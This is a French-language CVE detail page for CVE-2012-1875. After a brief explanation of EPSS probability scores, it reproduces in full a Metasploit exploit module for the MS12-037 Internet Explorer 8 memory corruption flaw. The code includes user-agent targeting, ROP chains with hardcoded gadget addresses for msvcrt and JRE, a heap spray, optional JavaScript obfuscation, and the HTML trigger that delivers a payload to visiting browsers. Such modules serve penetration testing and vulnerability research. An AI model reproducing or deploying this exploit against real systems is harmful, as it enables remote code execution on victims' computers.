CVE-2012-1875 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info={}) super(update_info(info, 'Name' => "MS12-037 Internet Explorer Same ID Property Deleted Object Handling Memory Corruption", 'Description' => %q{ This module exploits a memory corruption flaw in Internet Explorer 8 when handling objects with the same ID property. At the moment this module targets IE8 over Windows XP SP3 through the heap massaging plus heap spray as exploited in the wild. }, 'License' => MSF_LICENSE, 'Author' => [ 'Dark Son ', # Vulnerability discovery 'Qihoo 360 Security Center', # Vulnerability discovery 'Yichong Lin', # Vulnerability discovery 'Google Inc.', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'References' => [ [ 'MSB', 'MS12-037'], [ 'CVE', '2012-1875' ], [ 'OSVDB', '82865'], [ 'URL', 'http://labs.alienvault.com/labs/index.php/2012/ongoing-attacks-exploiting-cve-2012-1875/'], [ 'URL', 'https://twitter.com/binjo/status/212795802974830592' ] # Exploit found in the wild ], 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", 'DisableNops' => true }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'IE 8 on Windows XP SP3 with msvcrt ROP', { 'Rop' => :msvcrt, 'RopOffset' => '0x5f4', 'Ret' => 0x77c15ed5 # xchg eax, esp # ret # from msvcrt.dll } ], [ 'IE 8 on Windows XP SP3 with JRE ROP', { 'Rop' => :jre, 'RopOffset' => '0x5f4', 'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll } ], [ 'IE 8 on Windows 7 SP1 with JRE ROP', { 'Rop' => :jre, 'RopOffset' => '0x5f4', 'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll } ], ], 'Privileged' => false, 'DisclosureDate' => "Jun 12 2012", 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) end def get_target(agent) # If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' if agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/ #Windows XP SP3 + IE 8.0 return targets[1] elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8\.0/ #Windows 7 SP1 + IE 8.0 return targets[3] else return nil end end def junk(n=4) return rand_text_alpha(n).unpack("V").first end def nop return make_nops(4).unpack("V").first end def ret(t) case t['Rop'] when :msvcrt return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll when :jre return [ 0x7c347f98 ].pack("V") # RETN (ROP NOP) # msvcr71.dll end end def popret(t) case t['Rop'] when :msvcrt return [ 0x77c4ec00 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcrt.dll when :jre return [ 0x7c376541 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcr71.dll end end def get_rop_chain(t) adjust = ret(t) * 27 adjust << popret(t) adjust << [t.ret].pack("V") # stackpivot # Both ROP chains generated by mona.py - See corelan.be case t['Rop'] when :msvcrt print_status("Using msvcrt ROP") rop = [ 0x77c4e392, # POP EAX # RETN 0x77c11120, # <- *&VirtualProtect() 0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN junk, 0x77c2dd6c, 0x77c4ec00, # POP EBP # RETN 0x77c35459, # ptr to 'push esp # ret' 0x77c47705, # POP EBX # RETN 0x00001000, # EBX 0x77c3ea01, # POP ECX # RETN 0x77c5d000, # W pointer (lpOldProtect) (-> ecx) 0x77c46100, # POP EDI # RETN 0x77c46101, # ROP NOP (-> edi) 0x77c4d680, # POP EDX # RETN 0x00000040, # newProtect (0x40) (-> edx) 0x77c4e392, # POP EAX # RETN nop, # NOPS (-> eax) 0x77c12df9, # PUSHAD # RETN ].pack("V*") when :jre print_status("Using JRE ROP") rop = [ 0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN 0x00001000, # (dwSize) 0x7c347f98, # RETN (ROP NOP) 0x7c3415a2, # JMP [EAX] 0xffffffff, 0x7c376402, # skip 4 bytes 0x7c345255, # INC EBX # FPATAN # RETN 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN 0x7c344f87, # POP EDX # RETN 0x00000040, # flNewProtect 0x7c34d201, # POP ECX # RETN 0x7c38b001, # &Writable location 0x7c347f97, # POP EAX # RETN 0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll] 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN 0x7c345c30, # ptr to 'push esp # ret ' ].pack("V*") end code = adjust code << rop return code end def on_request_uri(cli, request) agent = request.headers['User-Agent'] my_target = get_target(agent) # Avoid the attack if the victim doesn't have the same setup we're targeting if my_target.nil? print_error("Browser not supported: #{agent}") send_not_found(cli) return end print_status("Client requesting: #{request.uri}") p = payload.encoded js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch)) js_padding = Rex::Text.to_unescape(rand_text_alpha(4), Rex::Arch.endian(my_target.arch)) js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch)) js_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch)) js_spray = <<-JS var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var rop_chain = unescape("#{js_rop}"); var random = unescape("#{js_padding}"); var nops = unescape("#{js_nops}"); while (random.length < 0x80000) random += random; while (nops.length < 0x80000) nops += nops; var padding = random.substring(0, #{my_target['RopOffset']}-code.length); var shellcode = code + padding + rop_chain + nops.substring(0, 0x800-code.length-padding.length-rop_chain.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var z=1; z < 0x385; z++) { heap_obj.alloc(block); } JS js_spray = heaplib(js_spray, {:noobfu => true}) trigger_f = "trigger" feng_shui_f = "feng_shui" crash_f = "crash" unescape_f = "do_unescape" main_f = "main" a_id = "MyA" danger_id = "imgTest" if datastore['OBFUSCATE'] js_spray = ::Rex::Exploitation::JSObfu.new(js_spray) js_spray.obfuscate trigger_f = rand_text_alpha(rand(5) + 4) feng_shui_f = rand_text_alpha(rand(5) + 4) crash_f = rand_text_alpha(rand(5) + 4) unescape_f = rand_text_alpha(rand(5) + 4) main_f = rand_text_alpha(rand(5) + 4) a_id = rand_text_alpha(rand(5) + 4) danger_id = rand_text_alpha(rand(5) + 4) end html = %Q| <HTML> <BODY> <title></title> <DIV id=testfaild> <img id="#{danger_id}" style="display:none"> <a href="javascript:#{feng_shui_f}();" id="#{a_id}" onClick="#{feng_shui_f}();"> <div style="background-color:#FFFFFF; width:30; height:40" id="#{danger_id}" src="" onMouseOver="#{crash_f}();" onMouseOut="#{crash_f}();"> </div> </a> </DIV> <SCRIPT LANGUAGE="JavaScript"> function #{unescape_f}(dword) { var t = unescape; var d = Number(dword).toString(16); while (d.length < 8) d = '0' + d; return t('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4)); } function #{feng_shui_f}() { var tag = 0x1c1c1c0c; var vtable1 = #{unescape_f}(tag) + '1234567555555555588888888'; var divs = new Array(); for (var i = 0; i < 128; i++) divs.push(document.createElement('div')); testfaild.innerHTML = testfaild.innerHTML; divs[0].className = vtable1; divs[1].className = vtable1; divs[2].className = vtable1; divs[3].className = vtable1; } function #{crash_f}() { eval("#{danger_id}").src = ""; } function #{trigger_f}() { var x = document.getElementsByTagName("div"); var fireOnThis = document.getElementById("#{a_id}"); if (document.createEvent) { evObj = document.createEvent('MouseEvents'); evObj.iniEvent('click', true, false); fireOnThis.dispatchEvent(evObj); } else if (document.createEventObject) { x[1].fireEvent('onMouseOver'); fireOnThis.fireEvent('onclick'); x[1].fireEvent('onMouseOut'); } } function #{main_f}() { #{js_spray} setTimeout("#{trigger_f}();", 1000); } #{main_f}(); </SCRIPT> </BODY> </HTML> | html = html.gsub(/^\t\t\t/, '') print_status("Sending html") send_response(cli, html, {'Content-Type'=>'text/html'}) end end =begin * crash (a9c.998): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\mshtml.dll - eax=1c1c1c0c ebx=00000000 ecx=02fdf588 edx=00000001 esi=02fdf588 edi=020bbaf0 eip=6363fcc6 esp=020bba88 ebp=020bba94 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 mshtml!DllGetClassObject+0xafd09: 6363fcc6 8b5070 mov edx,dword ptr [eax+70h] ds:0023:1c1c1c7c=???????? =end